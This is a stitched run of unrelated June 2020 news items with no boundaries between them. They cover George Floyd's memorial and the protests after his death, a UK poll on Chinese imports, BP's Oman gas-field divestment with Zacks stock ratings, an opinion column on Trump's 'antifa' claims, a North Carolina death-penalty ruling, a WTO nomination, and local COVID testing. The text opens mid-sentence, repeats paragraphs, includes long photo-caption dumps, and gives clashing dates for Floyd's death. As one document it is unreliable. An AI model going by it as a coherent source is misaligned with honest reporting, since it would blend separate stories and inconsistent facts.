The service took place as a judge less than a mile away set bail at $1 million each for three of the four fired Minneapolis police officers charged with aiding and abetting murder in Floyd's death.
Half of Britons are shunning Chinese products and two-thirds would like the government to impose more tariffs on imports from the communist state, according to a poll.

Research for MailOnline shows the depth of concern about the UK's reliance on Beijing amid a backlash over its handling of the coronavirus outbreak.

The Redfield & Wilton survey asked whether people had been avoiding buying products made in China since the pandemic emerged - with it first being reported in the city of Wuhan.

Some 16 per cent said they were 'always' shunning such goods, while another 33 per cent said they were 'somewhat' following the rule - although 51 per cent said they were not.

Seven in 10 agreed that they would be willing to pay more for products if it meant the UK was less reliant on China.

The findings come as the UK and China, led by Xi Jinping (above) continue to jostle over a wide-range of issues ranging from Beijing's handling of the coronavirus outbreak and the treatment of citizens of Hong Kong, a former British territory.

The row includes whether tech giant Huawei, which is controlled by the Communist state, will be allowed to play a part in the UK's new 5G data network.

Two thirds would support the government imposing extra tariffs on imports from the country if it would incentivise goods being made locally.

The findings come as the UK and China continue to jostle over a wide-range of issues ranging from Beijing's handling of the coronavirus outbreak and the treatment of citizens of Hong Kong, a former British territory.

Boris Johnson has hit out at Beijing over a proposed national security law he says would undermine the the Sino-British Joint Declaration under which the port and financial centre returned to Chinese rule.

He used an article in the Times and Hong Kong's South China Morning Post to say the measure would curtail Hong Kong's freedoms and 'dramatically erode its autonomy'.

And he restated the UK's offer to allow almost three million of the region's inhabitants the opportunity to come to Britain if Beijing imposed the national security law.

In response Chinese foreign ministry spokesman Zhao Lijian accused the UK of a 'Cold War mindset' and 'colonial mentality' and claimed the Declaration was essentially null and void.

The row also includes whether tech giant Huawei, which is controlled by the Communist state, will be allowed to play a part in the UK's new 5G data network.

British officials have discussed supplies of 5G networking equipment with companies in South Korea and Japan as part of a bid to develop alternatives.

UK and China continue to jostle over a wide-range of issues including the treatment of citizens of Hong Kong, a former British territory (pictured during protests last night)

A man holds a candle during a memorial vigil in Hong Kong last night to mark the 1989 Tiananmen Square Massacre, despite a police ban

Japan's NEC Corp and South Korea's Samsung are part of a government plan announced last year to diversify Britain's range of 5G suppliers.

Britain designated Huawei a 'high-risk vendor' in January, capping its 5G involvement at 35 per cent and excluding it from the data-heavy core of the network.

But Prime Minister Boris Johnson has come under renewed pressure from the United States and lawmakers in his own party, who say Huawei's equipment could be used by Beijing for spying. Huawei has repeatedly denied the allegations.

Ties between the United Kingdom and China have also grown tense since Britain's decision on Huawei over Beijing's handling of the situation in Hong Kong and the COVID-19 pandemic.
P rotesters returned to streets across the US for a 10th evening running just hours after George Floyd's memorial service heard he was killed by the "pandemic of racism and discrimination".

Thousands of demonstrators took part in protests on Thursday evening in cities including Atlanta, Washington D.C, Denver, Detroit, New York, Seattle and Los Angeles.

The gatherings, while boisterous at times, were largely orderly. Demonstrations on previous evenings had been mostly peaceful, but also punctuated by sporadic arson, looting and clashes between protesters and police.

The apparent change in mood reflected a determination voiced by many protesters and organisers in recent days to transform outrage over Mr Floyds death into a renewed civil rights movement and seek reforms to the US' criminal justice system.

George Floyd Memorial - In pictures 1 /50 George Floyd Memorial - In pictures Courteney Ross, the fiancee of George Floyd reacts after a memorial service for Floyd at North Central University AP People attend a memorial service for George Floyd Reuters George Floyd's six-year-old daughter Gianna (right) arrives for the memorial service in honour of George Floyd AFP via Getty Images Entertainer Kevin Hart joins guests AP People stand outside during George Floyd's memorial service Reuters People attend a memorial service for George Floyd Reuters People stand outside during George Floyd's memorial service Reuters Actor Kevin Hart and musician Ludacris are seen during a memorial service for George Floyd Reuters Musician Ludacris attends the memorial service Reuters Producer Will Packer attends the memorial service Reuters Courtney Ross, George Floyd's girlfriend, pays respect during a memorial service for George Floyd Reuters Reverend Al Sharpton speaks during the memorial service Reuters Civil rights attorney Ben Crump Reuters Martin Luther King III Reuters Former NBA player Stephen Jackson AP Goerge Floyd's family speak during a memorial service AFP via Getty Images Philonise Floyd embraces cousin Shareeduh Tate AP Brandon Floyd speaks at the memorial service for his uncle AP George Floyd's nephew Brandon Williams Reuters Civil rights attorney Ben Crump Reuters George Floyd's brother Philonise Floyd, right, and cousin Shareeduh Tate, left, share memories of George AP Reverend Al Sharpton speaking Reuters Film producer Will Packer, left, actor-comedian Kevin Hart, center, and rapper Ludicris applaud during a memorial service AP Tyrese Gibson and Tiffany Haddish AP Reverend Jesse Jackson Reuters Shareeduh Tate, family member of George Floyd, reacts during a memorial service for George Floyd Reuters George Floyd's casket on display during hismemorial service Reuters The casket of George Floyd is wheeled into a hearse outside the Trask Worship Center at North Central University Reuters Martin Luther King III pays his respects at a memorial service for George Floyd Reuters Tyrese Gibson, Tiffany Haddish, Will Packer, Kevin Hart, and Ludacris attend a memorial service for George Floyd Getty Images Minneapolis Mayor Jacob Frey kneels in front of George Floyd's coffin Reuters Tyrese Gibson, Tiffany Haddish, Will Packer, Kevin Hart, and Ludacris attend a memorial service for George Floyd Getty Images Courteney Ross, the fiancee of George Floyd, left, reacts after a memorial service for Floyd AP People attend a public memorial in New York Reuters Members of Alpha Phi Alpha Fraternity march over the Brooklyn Bridge after a memorial service for George Floyd Getty Images People attend a public memorial in New York Reuters Terrence Floyd, the brother of George Floyd speaks as he attends a public memorial in New York REUTERS People attend a public memorial in New York Reuters

Earlier on Thursday, mourners in Minneapolis held a sombre memorial for Mr Floyd, a 46-year-old black man who died in police custody on May 25 after being pinned at the neck by a white police officer for nearly nine minutes.

Former Minneapolis officer Derek Chauvin has had his murder charge upscaled from third-degree to the more severe second-degree over the incident, while three other former officers have also now been charged with aiding and abetting the killing.

Addressing Thursday's memorial service, lawyer Benjamin Crump told those gathered at the ceremony it was "not the coronavirus pandemic that killed George Floyd".

"It was that other pandemic," Mr Crump said. "The pandemic of racism and discrimination."

Among those to attend the service were members of Mr Floyd's family, the Reverend Jesse Jackson, Minnesota Governor Tim Walz, Minnesota Senator Amy Klobuchar and Minneapolis Mayor Jacob Frey.

George Floyd's family call for justice 1 /14 George Floyd's family call for justice Roxie Washington, the mother of Geroge Floyd's 6-year-old daughter Gianna Floyd, addresses the press alongside her and their lawyers, at Minneapolis City Hall Reuters Gianna Floyd, the daughter of George Floyd, listens to a a news conference AP Philonise Floyd, brother of George Floyd, who died in Minneapolis police custody, is surrounded by family members as he speaks at a protest rally against his brother's death, in Houston, Texas Reuters Roxie Washington, the mother of George Floyd's 6-year-old daughter Gianna Floyd (left), cries after addressing the press Reuters oxie Washington, the mother of George Floyd's daughter Gianna Floyd, attends a press conference Getty Images Gianna Floyd, the daughter of George Floyd, listens to a a news conference Getty Images Roxie Washington, stands behind Gianna Floyd, the daughter of George Floyd AP Gianna Floyd, the daughter of George Floyd, listens to a a news conference with Stephen Jackson AP Roxie Washington embraces her daughter Gianna Floyd at a press conference Getty Images Roxie Washington, the mother of George Floyd's daughter Gianna Floyd, attends a press conference in St. Paul, Minnesota Getty Images Members of George Floyd's family speak during a Houston rally AP

Several hundred others also crowded in to the North Central University for the ceremony, and a crowd of hundreds more clustered outside under trees and in window sills, listening to the service, which was broadcast over loudspeakers.

Prominent civil rights activist Reverend Al Sharpton also spoke to those assembled, telling mourners Mr Floyds fatal encounter with police and the nationwide protests his death have ignited marked a reckoning for America over race and justice.

George Floyd should not be among the deceased. He did not die of common health conditions. He died of a common American criminal justice malfunction, Sharpton said.

Its time for us to stand up in Georges name and say, Get your knee off our necks.

Reverend Sharpton also led mourners in eight minutes and 46 seconds of silence, the amount of time Mr Floyd suffered Mr Chauvin's knee being pressed into his neck.

George Floyd Protests - In pictures 1 /150 George Floyd Protests - In pictures Quincy Mason Floyd (c), son of George Floyd, and attorney Ben Crump (left) kneel at the site where Floyd was killed on June 3, 2020 in Minneapolis, Minnesota. Crump and Floyd spoke at a press conference after, calling for the arrest and prosecution of all four officers involved in George Floyd's death Getty Images Hundreds of surfers gather in support of Black Lives Matter, following the death in Minneapolis police custody of George Floyd, as they spell "UNITY" with their boards before participating in a paddle out for unity at Moonlight Beach in Encinitas, California via Reuters A demonstrator protests as police forces hold a line near Lafayette Park and the White House Getty Images People visit a memorial at the site where George Floyd was killed Getty Images Demonstrators lay down on Pennsylvania Avenue during a peaceful protest against police brutality and the death of George Floyd Getty Images Twenty-nine-year old DC resident, George (letf), slaps hands with three-year-old Mikaela (right) in front of a police barricade on a street leading to the front of the White House during protests over the death of George Floyd AFP via Getty Images Protesters cross Morrison Bridge while rallying against the death in Minneapolis police custody of George Floyd, in Portland, Oregon Reuters An aerial view shows people gathering to pay tribute at a makeshift memorial in honour of George Floyd AFP via Getty Images People visit a memorial at the site where George Floyd was killed Getty Images John Boyega speaks at Hyde Park during a Black Lives Matter protest PA People wearing face masks hold banners in Hyde Park during a Black Lives Matter Reuters Protesters wearing face masks hold up signs during a Black Lives Matter protest in Hyde Park Getty Images Atlanta police clash with a demonstrator during a protest, AP Marchers lay down on the Burnside Bridge for nine minutes symbolising the amount of time a Minneapolis police officer knelt on George Floyd's neck AP Protesters wearing face masks hold up signs during a Black Lives Matter protest in Hyde Park Getty Images A woman with a message painted on her face, "I Can't Breathe" is seen in Hyde Park during a "Black Lives Matter" protest REUTERS Law enforcement officers stand on the steps of the Lincoln Memorial as demonstrators protest against police brutality and the death of George Floyd Getty Images Protesters burn trash bins, shared scooters and bicycles AFP via Getty Images People raise their hands and kneel down as they protest at the makeshift memorial in honour of George Floyd in Minneapolis AFP via Getty Images Demonstrators embrace during a march in response to George Floyd's death in Los Angeles Getty Images Law enforcement officials and Georgia Army National Guard soldiers fire tear gas and advance on protesters on Centennial Olympic Park Drive outside the CNN Center in Atlanta AP A protester throws a smoke device at police AP Protesters march west on Broad Street as protests continue following the death of Minneapolis resident George Floyd in Columbus, Ohio AP People marching to protest the death of George Floyd get arrested on Gratiot near Outer Drive in Detroit AP Protesters throw a burning object at advancing law enforcement officials on Centennial Olympic Park Drive at Olympic Park in Atlanta AP Los Angeles Commander Cory Palka, right reaches out and offers a handshake to a "Black Lives Matter" protester outside Los Angeles Mayor Garcetti's house in Los Angeles AP Police officers hold a perimeter near the White House AFP via Getty Images Orlando police deploy tear gas during a demonstration outside Orlando City Hall AP Women ride atop a car and carry a sign in support of a "Black Lives Matter" protest outside Los Angeles Mayor Garcetti's house in Los Angeles AP People kneel in front of a line of California Highway Patrol officers in Redwood City AP Demonstrators gather to protest the death of George Floyd in Washington AP A protester hugs a member of the Army National Guard during a demonstration over the death of George Floyd in Los Angeles AFP via Getty Images Demonstrators march along Hollywood Boulevard AP Protesters head through downtown into midtown during demonstrations in Atlanta AP A protester holds up a skateboard during a demonstration over the death of George Floyd in Hollywood, California AFP via Getty Images Demonstrators greet members of the National Guard as they march along Hollywood Boulevard AP Demonstrators pause to kneel as they march to protest the death of George Floyd in Washington AP A demonstrator faces law enforcement officers during a rally near the White House against the death in Minneapolis police custody of George Floyd Reuters Roxie Washington, the mother of George Floyd's 6-year-old daughter Gianna Floyd (left), cries after addressing the press, alongside their lawyers at Minneapolis City Hall Reuters People march from Discovery Green to City Hall in downtown Houston AP Protesters rally on the Las Vegas Strip Sunday, May 31, 2020, in Las Vegas, over the death of George Floyd AP Demonstrators kneel in front of a line of police officers near the White House in Washington during a protest for the death of George Floyd AP US President Donald Trump holds up a Bible outside of St John's Episcopal church across Lafayette Park in Washington, DC AFP via Getty Images Fireworks go off in front of police, who with protesters in front of police headquarters in St. Louis AP Protestors are tear gassed as the police disperse them near the White House AFP via Getty Images Children show placard during a protest outside the residence of governor of Minnesota Tim Walz, over the death of George Floyd AFP via Getty Images A demonstrator try to pass between a police line wearing riot gear as they push back demonstrators outside of the White House AFP via Getty Images Protesters throw a tear gas canister back toward Stafford County deputies on the Falmouth Bridge in Fredericksburg, Va AP Chief of Department of the New York City Police, Terence Monahan, hugs an activist as protesters paused while walking in New York AP Armed National Guard soldiers patrol on Hollywood Blvd AFP via Getty Images In a show of peace and solidarity, law enforcement officials with riot shields kneel in front of protesters during a fourth day of protests over the death of George Floyd in Minneapolis AP Protesters rally at the White House Reuters A protester carries the carries a U.S. flag upside, a sign of distress, next to a burning building AP Protestors are tear gassed as the police disperse them near the White House AFP via Getty Images Police officers clash with protestors near the White House AFP via Getty Images In a show of peace and solidarity, law enforcement officials with riot shields kneel in front of protesters during a fourth day of protests over the death of George Floyd in Minneapolis AP Police begin to clear demonstrators in Washington AP Demonstrators vandalize a car near the White House in Washington as they protest the death of George Floyd AP A single officer takes a knee in solidarity with protesters during nationwide unrest following the death in Minneapolis police custody of George Floyd, outside the Oklahoma City Police Department Reuters Protesters throw a US flag into a fire during a demonstration outside the White House AFP via Getty Images Police form a line on Fifth Avenue outside Trump Towe AP Protesters are detained by police officers during a rally against the death in Minneapolis police custody of George Floyd Reuters Protesters hold up a sign in Long Beach, California as they demonstrate during nationwide unrest following the death in Minneapolis police custody of George Floyd REUTERS People rally against the death in Minneapolis police custody of George Floyd, in Saint Paul, Minnesota, REUTERS Protesters lie on the ground during a Black Lives Matter rally AP A young boy raises his fist for a photo by a family friend during a demonstration in Atlanta, Georgia Getty Images Police officers try to disperse people during a protest downtown Lansing, Michigan AP A protester has milk poured on his face after being exposed to tear gas AP Demonstrators block Interstate 244 in Tulsa AP Authorities stand guard in the area around the Georgia state Capitol as protests continued for a third day in Atlanta AP A demonstrator is arressted during a protest against police brutality and the death of George Floyd in Minneapolis, Minnesota Getty Images People demonstrate in Atlanta, Georgia Getty Images Tear gas rises above as protesters face off with police during a demonstration outside the White House over the death of George Floyd AFP via Getty Images Sheriff's deputies arrest people in Minneapolis, Minnesota AFP via Getty Images Police officers advance after firing tear gas during a demonstration in Atlanta, Georgia Getty Images A protester becomes emotional while taking part in a conversation with a police officer during a demonstration in Atlanta, Georgia Getty Images A man vandalizes a vehicle as another car is set on fire during a protest near the White House Getty Images Protesters march down a street during a solidarity rally for George Floyd, Sunday, May 31, 2020, in the Brooklyn borough of New York AP PA Protesters gather around after setting fire to the entrance of a police station as demonstrations continue Reuters Protesters gather in front of the burning 3rd Precinct building of the Minneapolis Police Department AP A protester moves around the 3rd Precinct building of the Minneapolis Police Department AP Protesters are seen from the roof of the Minneapolis police 3rd Precinct building AP Protesters stand in front of the 3rd precinct police building as it burns during a protest Getty Images People stand outside the Minneapolis police 3rd Precinct building after fires were set at the building AP A man walks past a liquor store in flames near the 3rd Police Precinct AFP via Getty Images A woman holds a sign as protestors gather outside the St. Louis Police Department Headquarters Getty Images A car burns in a Target parking lot AP Tony L. Clark holds a photo of George Floyd AP Denver Police Department officers clear a man who fell to the street after they used tear gas and rubber bullets to disperse a protest outside the State Capitol over the death of George Floyd AP Denver police officers fire canisters to disperse a protest outside the State Capitol AP Protesters throw objects onto a burning car outside a Target store near the 3rd Police Precinct AFP via Getty Images Firefighters battle flames at a business along University Avenue as riot officers police the street AP Police spray mace at protestors to break up a gathering near the Minneapolis Police 3rd Precinct Reuters Protesters react after the entrance of a police station is set on fire during the demonstrations Reuters A man wearing a face mask holds a sign near a burning vehicle at the parking lot of a Target store during protests Reuters A protester vandalizes an O'Reilly's near the Minneapolis 3rd Police Precinct Reuters Police spray protesters with pepper spray during a demonstration over the killing of George Floyd by a policeman outside the 3rd Police Precinct AFP via Getty Images A man poses for photos in front of a fire at an AutoZone store, while protesters hold a rally for George Floyd in Minneapolis AP Police remove barricades set by protesters during a demonstration over the killing of George Floyd AFP via Getty Images Shawanda Hill (right), the girlfriend of George Floyd reacts near the spot where he died while in custody of the Minneapolis Police AFP via Getty Images Protesters gather under the rain near the spot where George Floyd died while in custody of the Minneapolis Police, AFP via Getty Images An injured woman is carried by other protesters during clashes with police at a demonstration over the killing of George Floyd AFP via Getty Images Protesters clash with police during a demonstration over the killing of George Floyd AFP via Getty Images This aerial image provided by KABC-TV shows protesters attacking a California Highway Patrol cruiser during a Black Lives Matter protest on a freeway in downtown Los Angeles AP Protesters clash with police during a demonstration over the killing of George Floyd AFP via Getty Images A man throws a rock at the Minneapolis police 3rd Precinct during a protest AP Dajanae McKinney holds a painting of George Floyd during a protest AP People face police as protests continue calling for justice for George Floyd AP Protesters and police face each other during a rally for George Floyd AP People hold up their fists after protesting near the spot where George Floyd died while in custody of the Minneapolis Police AFP via Getty Images Protesters gather calling for justice for George Floyd AP A memorial left for George Floyd AFP via Getty Images

Mr Floyd's casket was covered in red roses for the ceremony, and a vibrant image was projected above the pulpit of a mural of him painted at the street corner where he was arrested by police on suspicion of attempting to pay with a counterfeit note.

The message on the mural reads: I can breathe now.

The Minneapolis service marked the first of a string of services planned for Mr Floyd which are expected to stretch across six days and three states, including memorials in North Carolina and Houston, his hometown.

He is set to be laid to rest on Tuesday.

The official post-mortem examination into his death resulted in it being declared a homicide.
BP plc BP is in early talks to divest around 10% interest in Oman's Khazzan natural gas field for more than $1 billion, per Bloomberg. This divestment will likely help the company to reduce its debt load.

Asset Details

BP currently holds a 60% operating stake in the field while Oman Oil Company Exploration & Production and a subsidiary of Malaysian state-run company Petronas own the rest. By divesting 10% in the field, BP can bring in another energy company. This will enable the British energy giant to share its cost for project development.

In September 2017, the company brought the phase one online in the Khazzan natural gas field, where production is expected to reach 1 billion cubic feet of natural gas per day (Bcf/d). The company is currently developing the second phase at the site that is likely to commence production next year. The addition of the second phase will boost total production to 1.5 Bcf/d. Notably, the Khazzan natural gas field is one of the very few outside the United States that uses hydraulic fracturing technology.

Divestment Rationale

The asset selloff will help the company to achieve its divestment goal. The energy giant has sold $10.1 billion worth of assets since the beginning of 2019, which is part of the companys broader $15-billion program targeted by mid-2021. The company is also expected to divest its Alaska business to meet the target. The sale program is part of the companys plan to lower its debt load, which is significantly higher than most of its peers.

Balance Sheet

Debt exposure to the companys balance sheet increased significantly in the first quarter of 2020. Net debt was recorded at $51,404 million, up 13.1% from $45,442 million in the prior quarter. Importantly, although BPs cash and cash equivalents of $18,139 million could meet $12,376 million of the current debt, the firms ability to repay long-term debt of $56,741 million is questionable given declining times interest earned ratio.

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Price Performance

BPs shares have gained 5.4% from the beginning of the second quarter compared with 15.3% growth of the industry it belongs to.

Zacks Rank & Stocks to Consider

BP currently has a Zacks Rank #3 (Hold). Some better-ranked players in the energy space include Chesapeake Energy Corporation CHK, CNX Resources Corporation CNX and Comstock Resources, Inc. CRK, each holding a Zacks Rank #2 (Buy). You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here.

Chesapeake Energy delivered an average positive earnings surprise of 42.8% in the last four quarters.

CNX Resources beat earnings estimates thrice and met once in the last four quarters, with average positive surprise of 111.5%.

Comstock Resources 2020 sales are expected to gain 33.7% year over year.

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President Trump walks past police in Lafayette Park, across from the White House, after the park was forcibly cleared of peaceful protesters on June 1. (Patrick Semansky / Associated Press )

President Trump is using one of his favorite canards again: antifa.

He is threatening to label the anti-fascist cause a terrorist organization. It isnt, and he cant, but he and his lieutenants, Atty. Gen. William Barr and Sen. Tom Cotton of Arkansas, are still trying to brand the George Floyd protests with that scare word.

This off-kilter trio seems to think that by crying antifa they can distract from the sadistic murder of George Floyd on May 24, ignore the demands of Black Lives Matter for police reform, and consolidate a political enemy to justify what the president seems to be spoiling for, unleashing military might against leftists.

Barr released a statement about the protests over the weekend: The violence instigated and carried out by Antifa and other similar groups in connection with the rioting is domestic terrorism and will be treated accordingly.

On Wednesday, Cotton went a step further in the New York Times, calling for an overwhelming show of force to subdue looters, whom he identified as cadres of left-wing radicals like antifa infiltrating protest marches.

As Natasha Lennard pointed out in the Intercept, the charge that civil rights protests are insincere  driven by outside agitators in it for money or kicks  reprises old Ku Klux Klan propaganda. The charge also contains a gratuitous insult, wrote James Baldwin in 1961, implying that Negroes can make no move unless they are manipulated.

Far from a mysterious project run by esoteric forces, the orderly protests across the country over the last two weeks are mostly the work of disciplined, nonviolent Black Lives Matter activists.

Anti-fascists, or antifa, go in for more confrontational tactics developed in Europe to disrupt neo-Nazis. They are committed to self-defense, sometimes with clubs. Anti-fascists are no doubt involved in the Black Lives Matter demonstrations, but theyre not the organizers, and self-described antifa members are on the record condemning last weekends instances of mayhem.

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And then there are the arsonists and looters, another crowd entirely, who piggyback on the protests. One 24-year-old looter told a New York Times reporter Monday that his tribe isnt allied with any cause at all: People are just using the demonstrations, he said, as an excuse to act crazy.

But creating slippage among the protesters, looters, Black Lives Matter and antifa is exactly the point of Trumpworlds latest campaign. Its a move borrowed from one of the most putrid playbooks of the Nixon era. It reeks of overflowing ashtrays, Brylcreem and desperation.

The forces that President Nixon called dirty hippies, Trump now calls antifa. Where Nixon ginned up a war on drugs, Trump, Barr and Cotton want a war on domestic terror.

Nixon factotum John Ehrlichman spelled out his boss version of this strategy in 1994, in an interview in Harpers magazine.

The Nixon campaign in 1968, and the Nixon White House after that, had two enemies: the antiwar left and black people, Ehrlichman said.

We knew we couldnt make it illegal to be either against the war or [be] black but by getting the public to associate the hippies with marijuana and blacks with heroin, and then criminalizing both heavily, we could disrupt those communities.

Did we know we were lying about the drugs? Of course we did.

Trumpworld is now lying about antifa. The president first tried to ignore hundreds of thousands of protesters in the streets this week, and now he wants to portray civil disobedience as so menacing it needs to be crushed by soldiers.

But what worked for Nixon may not work for Trump, whose disapproval ratings have soared during his wretched mismanagement of the COVID-19 crisis and now these protests.

On Monday, in a new low, Trump mobilized federal forces, including a Black Hawk helicopter, to scatter swaths of peaceful protesters in Lafayette Park, next to the White House. He wanted a photo op, but it backfired: We saw orderly demonstrators routed by flash grenades and tear gas so the president could hold up a Bible as a prop. Mortifying for the administration  not to mention unconstitutional.

Meanwhile, the Black Lives Matter protests have only gained momentum and support. On Wednesday night, former President Obama praised them for sparking an awakening about the dire need for police reforms. On Capitol Hill, Democrats, powered by the Congressional Black Caucus, are drafting a sweeping package of police reforms to overhaul the way law enforcement works.

In fact, its hard to find anyone who has taken the Trumpworld bait and believes that anti-fascists, and not police violence, are the enemy.

Even former Defense Secretary James Mattis  known to be so circumspect he strikes some as cowardly  eviscerated Trump on Wednesday for his disregard for the right of the people to assemble peacefully. Mattis' words provided political cover for other critics: Republican Sens. Lisa Murkowski of Alaska and Mitt Romney of Utah, for example. Murkowski admitted that shes now struggling over whether to support Trump for reelection.

Mattis made clear his preference for American unity as opposed to Trumps and Nazisms divide and conquer tactics. I dont want to overstep here, but it sounds like the general may be an anti-fascist.

@page88
The NC Supreme Court ruled in favor of two death row inmates Friday, allowing them to continue arguing that their cases were so tainted by race discrimination their sentences should be reduced to life in prison.





The Center for Death Penalty Litigation, which has fought the legislatures decision to close off that legal path, called the courts move a landmark decision that also allows other death-row inmates to file claims.

North Carolinas Racial Justice Act passed in 2009 while Democrats controlled the legislature, allowing death row defendants to seek to reduce their sentences to life in prison if they could show racial bias played a role in their cases.

A Republican-controlled General Assembly amended the act three years later and then repealed it in 2013. Six death row prisoners who had either received or sought that relief, arguing discrimination had tainted their jury trials, took their cases to the Supreme Court.

The court Friday ruled in favor of two of those men: Rayford Burke and Andrew Ramseur.

In arguments before the court, attorneys argued that the prosecutor in Burkes Iredell County case called him a big black bull during closing arguments.

In Ramseurs case, an all-white jury sentenced the 21-year-old black defendant to death. All of the qualified black jurors were rejected, his attorney Daniel Shatz wrote in a 2016 brief.

Both had sought a hearing to present this evidence, but their ongoing claim became moot under the repeal. In the courts decision, Justice Anita Earls wrote that the repeal violated ex post facto standards, meaning it applied a harsher penalty retroactively.

Justice Paul Newby wrote the courts dissenting opinion: The Racial Justice Act did not change the punishment for first-degree murder, he said.

The courts ruling dropped Friday in the midst of nationwide protests focused on systemic racism in the American justice system.

This is a momentous decision that sends a clear message: Our states highest court will not allow North Carolina to ignore evidence that racism has infected the death penalty, Center for Death Penalty Litigation Executive Director Gretchen Engel said in a news release. This was also an urgently needed decision as our state and our nation confront a long history of racism.

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The court has yet to rule on four other defendants Racial Justice Act cases: Tilmon Golphin, Marcus Robinson, Quintel Augustine and Christina Walters.

Law about racial inequity or death penalty?

Allison Riggs, a civil rights attorney at the Durham-based Southern Coalition for Civil Justice, praised the ruling and accused Republican lawmakers of being consistently arbitrary and vindictive in race-related legislation over the last decade.

The Racial Justice Act was one of the most important pieces of legislation that the (state legislature) ever enacted, and its repeal was a stain on our history, Riggs tweeted. The NC Supreme Court took an important step today in recognizing the rule of law and dignity of human life.

But Dallas Woodhouse, the former executive director of the NC GOP, said on Twitter he thinks the cases are about Democrats wanting to get rid of the death penalty, not address racial inequity.

What a horrible day for NC at the State Supreme Court, Woodhouse said.

No matter what you read, (no) matter what anybody says, this was the goal of democrats all along, Woodhouse tweeted. Find a way to stop executing killers, without telling the voters. Use the race issue as a weapon. It is unfair to the families of the victims. It is wrong. It is not just.

Attention on racial justice during George Floyd protests

The decision came three days after Chief Justice Cheri Beasley issued a plea for racial understanding in the wake of protests over George Floyd being killed by police in Minneapolis. In that message, she said racism stubbornly persists in the criminal justice system.

We must do better, she said. We must be better. Too many people believe that there are two kinds of justice. ... In our courts, African-Americans are more harshly treated, more severely punished and more likely to be presumed guilty.

This isnt the first time in recent years the Republican-led General Assembly has been foiled by the states ban on ex post facto laws.

In a 2018 election for the state Supreme Court, Republican incumbent Barbara Jackson was challenged by Earls as well as Chris Anglin, a Raleigh lawyer who switched parties shortly before the election to run as a Republican.

GOP leaders cried foul, and lawmakers tried to retroactively change the rules to keep the ballot from showing voters that Anglin was a Republican. But a judge ruled that move unconstitutional.

Earls, who wrote Fridays rulings on the Racial Justice Act cases, then went on to defeat Jackson and join the court.
President Muhammadu Buhari has approved the nomination of Nigerias former two-term Minister of Finance and current Chairperson of GAVI, Dr. Ngozi Okonjo-Iweala, for the position of Director-General of the World Trade Organisation (WTO).

The President also withdrew the candidacy of Yonov Frederick Agah, Nigerias Permanent Representative to WTO, for the position.

The election is scheduled to hold in Geneva, Switzerland, next year.

The embassy of the Federal Republic of Nigeria and permanent mission to the African Union (AU) and United Nations Economic Commission for Africa (UNECA) presents compliments to all embassies and permanent missions in Addis Ababa and has the honour to inform that the Federal Government of Nigeria has withdrawn the candidacy of Ambassador Yonov Frederick Agah for election to the position of Director-General of the WTO.

In this regard, Mission also wishes to inform that his Excellency, President Muhammadu Buhari has approved the nomination of Dr. Ngozi Okonjo-Iweala to replace Ambassador Agah, as Nigerias candidacy for the position of the Director General of the WTO.

Nigeria is therefore pleased to request the support of esteemed AU member states as well as permanent missions and embassies in Addis Ababa in favour of the candidacy of Okonjo-Iweala, the document stated.

However, it is not yet confirmed if the most sought-after world-class economist, Dr. Ngozi Okonjo-Iweala will accept the offer to serve in that capacity.
The Importance of Mental Health Resources for Essential WorkersNow and In the Future

Mental health resources are important for any worker, but during this pandemic, essential workers have needed support more than ever. Many think that for essential workers, the serious need for mental health care may long outlast coronavirus.

Most peoples mental health have taken a hit because of the pandemicbut essential workers on the front lines are especially struggling. While most people are feeling cooped up, restless and anxious, those who are essential and go to work every day in a mask and gloves (workers in healthcare, grocery stores, post offices, cleaning service, and retail store workers and more) are especially struggling.

Most essential workers go to work each day with a fear of getting sick, working with customers who dont wear masks, and anxiety from hearing about coworkers who are falling ill or even dying from the coronavirus.

Additionally, there is the anxiety of accidentally transmitting the virus to loved ones at home, if they get the virus at work. Plus, many essential workers are not getting pay raises or paid sick leavewhich makes this pandemic even more anxiety-inducing when a worker has to choose between a paycheck and protecting their health and home.

One only needs to listen to the stories of Amazon and Whole Foods workers who have expressed distain at the way the corporations have been handling the virus and safeguarding employees. Or, listen to the stories from EMT workers who cannot sleep at night, and who are constantly thinking about the patients they treat, or those they cannot save.

One CNBC article explores the need for mental health resources for workers, particularly critical workers in the American society. Vaile Wright director of clinical research and quality for the American Psychological Association, said she hopes the pandemic inspires more employers to expand access to therapy by phone or video.
ALBANY  Albany County saw a surge in testing for COVID-19 Thursday as some protesters from this past weeks rallies came in for tests, County Executive Dan McCoy said Friday.

We had 78 people walk up yesterday. So that was a really big number that came in, McCoy said during his daily COVID-19 briefing.

Were happy that they came in. We want them to get tested, McCoy emphasized.

There have been rallies for Black Lives Matter in Albany and Schenectady since Saturday May 30. Troy will see its first rally at 2 p.m. Sunday at Riverfront Park. The demonstrations emerged as part of the nationwide protests of the death of George Floyd during an interaction with members of the Minneapolis Police Department on Memorial Day. Four Minneapolis officers have been indicted for killing Floyd.

Capital Region health officials have expressed concerns that some protesters did not wear masks and there was no social distancing in the large rallies and marches in the two cities. They have urged protesters to come in for testing.

McCoy said the large number of people marching raises concerns about potential spread of the coronavirus.

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These things as county executives, county managers, we worry about health department wise ... This could really have a major effect on us moving forward, McCoy said.

The county executive said appointment free-testing for first responders and people who attended the rallies will again be offered from 9-11 a.m. Wednesday at the Capital South Campus, 20 Warren St. Those wanting to be tested should bring an ID and insurance information if they are covered, if not, the testing will be free.

McCoy said the county now has 1,778 confirmed positive cases of COVID-19, an increase of 18 since Thursday. There are 672 people under mandatory quarantine and three in precautionary. The five-day average for the county for new daily positives is down to 15.6. The county has seen 4,785 residents complete quarantine, with 1,416 of them having tested positive and recovered. That brings the countys recovery rate to 79.64 percent.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

The county's death toll rose to 113 as a man in his 70s died. There are 15 individuals hospitalized, down from 16. The hospitalization rate declined to 0.84 percent from 0.9 percent Thursday. There are three people in ICU, an increase of two since Thursday's briefing.

McCoy said he is worried that the protests may lead to a spike in the number of cases. He said the county has seen positive progress in its numbers and hinted that perhaps phase three in the reopening would arrive earlier.

McCoy was joined by North Colonie School District Superintendent D. Joseph Corr and Tess Collins, owner of McGearys Irish Pub.

Corr described North Colonies plans for the June 27 Shaker High School drive up graduation which will allow graduating seniors with their families to return to campus one more time to receive their diplomas.

Collins discussed how local restaurants are working together as they deal with reopening. She said there are worries about meeting governmental regulations and keeping patrons safe during the return to outdoor dining.

Restaurants are caught in the middle of protecting their staff and customer base and their own razor-thin profit margins," McCoy said.
